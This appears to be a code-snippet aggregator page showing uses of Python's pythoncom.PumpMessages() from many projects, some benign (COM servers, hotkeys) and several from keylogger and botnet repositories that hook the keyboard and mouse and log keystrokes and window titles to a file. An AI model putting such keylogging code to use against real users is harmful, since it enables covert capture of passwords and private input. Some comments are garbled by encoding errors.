python类PumpMessages()的实例源码

server.py 文件源码 项目:darkc0de-old-stuff 作者: tuwid 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def keyit(self):
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyBoardEvent
        self.hm.HookKeyboard()
        pythoncom.PumpMessages()
localserver.py 文件源码 项目:OSPTF 作者: xSploited 项目源码 文件源码 阅读 34 收藏 0 点赞 0 评论 0
def serve(clsids):
    infos = factory.RegisterClassFactories(clsids)

    pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId())  
    pythoncom.CoResumeClassObjects()

    pythoncom.PumpMessages()

    factory.RevokeClassFactories( infos )

    pythoncom.CoUninitialize()
localserver.py 文件源码 项目:pupy 作者: ru-faraon 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def serve(clsids):
    infos = factory.RegisterClassFactories(clsids)

    pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId())  
    pythoncom.CoResumeClassObjects()

    pythoncom.PumpMessages()

    factory.RevokeClassFactories( infos )

    pythoncom.CoUninitialize()
Lo0sR.py 文件源码 项目:ActualBotNet 作者: invasi0nZ 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def keylogger(self):
        obj = pyHook.HookManager()
        obj.KeyDown = self.keydown
        obj.HookKeyboard()
        obj.HookMouse()
        pythoncom.PumpMessages()
windows.py 文件源码 项目:clicky-keys 作者: Admicos 项目源码 文件源码 阅读 37 收藏 0 点赞 0 评论 0
def init():
    hm = pyHook.HookManager()
    hm.KeyDown = on_event
    hm.HookKeyboard()
    pythoncom.PumpMessages()
localserver.py 文件源码 项目:remoteControlPPT 作者: htwenning 项目源码 文件源码 阅读 33 收藏 0 点赞 0 评论 0
def serve(clsids):
    infos = factory.RegisterClassFactories(clsids)

    pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId())  
    pythoncom.CoResumeClassObjects()

    pythoncom.PumpMessages()

    factory.RevokeClassFactories( infos )

    pythoncom.CoUninitialize()
localserver.py 文件源码 项目:CodeReader 作者: jasonrbr 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def serve(clsids):
    infos = factory.RegisterClassFactories(clsids)

    pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId())  
    pythoncom.CoResumeClassObjects()

    pythoncom.PumpMessages()

    factory.RevokeClassFactories( infos )

    pythoncom.CoUninitialize()
keys.py 文件源码 项目:keyLogger 作者: michalmonday 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def StartKeyCapture(self):       
        self.hookManager = pyHook.HookManager()
        self.hookManager.KeyDown = self.OnKeypressCallback
        self.hookManager.HookKeyboard()
        pythoncom.PumpMessages()
RadiumKeylogger.py 文件源码 项目:BrainDamage 作者: mehulj94 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def hookslaunch():
    print '[*] Starting keylogger'
    a = Keylogger()
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = a.OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
py_hook_test.py 文件源码 项目:PythonPool 作者: exp-db 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def main():
    # ??
    hm = pyHook.HookManager()

    # ?¼
    hm.KeyDown = onKeyboardEvent
    # ü??
    hm.HookKeyboard()

    # ¼
    hm.MouseAll = onMouseEvent
    # ??
    hm.HookMouse()

    # ??????????
    pythoncom.PumpMessages()
pyhk.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def start(self):
        """Start pyhk to check for hotkeys"""
        pythoncom.PumpMessages()
RecordScript.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 16 收藏 0 点赞 0 评论 0
def main():
    global g_Recoder_Flag 
    global g_sys_Debug
    global g_sys_timeget
    global g_file_object
    global g_telnet_ip
    global g_file_path

    Get_SystemParam()
    g_telnet_ip = raw_input("please input the SecureCRT session Ip:")
    g_file_path = raw_input("please save the records script Name:")
    if g_file_path.find(':')<0:
        g_file_path= find_parentpath() +'\\tmp_result\\'+g_file_path

    if file_exist(g_file_path)==True:
        os.remove(g_file_path)
    # ??
    print '............Please run SecureCRT sendkeys.............'
    print 'F9  -- start telnet module '    
    print 'F10 -- stop telnet module'
    print 'F11 -- temporary pause      '
    print 'F12 -- temporary continue    '
    print 'F8  -- Record  program  exit'
    hm = pyHook.HookManager()
    # ?¼
    hm.KeyDown = onKeyboardEvent
    # ü??
    hm.HookKeyboard()
    # ¼
    hm.MouseAll = onMouseEvent
    # ??
    hm.HookMouse()
    # ??????????
    pythoncom.PumpMessages()
dota2_lumbering_challenge.py 文件源码 项目:py3_scripts 作者: bioinformatist 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def main():
    # Set a hook manager
    hm = pyHook.HookManager()
    # Monitor all keyboard events
    hm.KeyDown = onKeyboardEvent
    # Set a keyboard hook
    hm.HookKeyboard()
    # Keep monitoring
    pythoncom.PumpMessages()
MYKeyLogger.py 文件源码 项目:KeyLogger 作者: 02gaurav 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def Keylog(k, LOG_TIME, LOG_FILENAME):
    # only supported for Windows at the moment...
    if os.name != 'nt': return "Not supported for this operating system.\n"
    global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
    LOG_STATE = True # begin logging!
    main_thread_id = win32api.GetCurrentThreadId()
    # add timestamp when it starts...
    LOG_TEXT += "\n===================================================\n"
    LOG_DATE = datetime.datetime.now()
    LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n'
    LOG_TEXT += "===================================================\n\n"
    # find out which window is currently active!
    w = win32gui
    LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
    LOG_DATE = datetime.datetime.now()
    LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n"
    LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n"
    LOG_TEXT += " " + LOG_ACTIVE + " |\n"
    LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n"
    if LOG_TIME > 0:
        t = Timer(LOG_TIME, stopKeylog) # Quit
        t.start()
    # open file to write
    LOG_FILE = open(LOG_FILENAME, 'w')
    LOG_FILE.write(LOG_TEXT)
    LOG_FILE.close()
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages() # this is where all the magic happens! ;)
    # after finished, we add the timestamps at the end.
    LOG_FILE = open(LOG_FILENAME, 'a')
    LOG_TEXT += "\n\n===================================================\n"
    LOG_DATE = datetime.datetime.now()
    LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n'
    LOG_TEXT += "===================================================\n"
    LOG_STATE = False
    try: 
        LOG_FILE.write(LOG_TEXT)
        LOG_FILE.close()
    except:
        LOG_FILE.close()
    return True

# this function stops the keylogger...
# thank God for the StackOverflow thread! :D


问题


面经


文章

微信
公众号

扫码关注公众号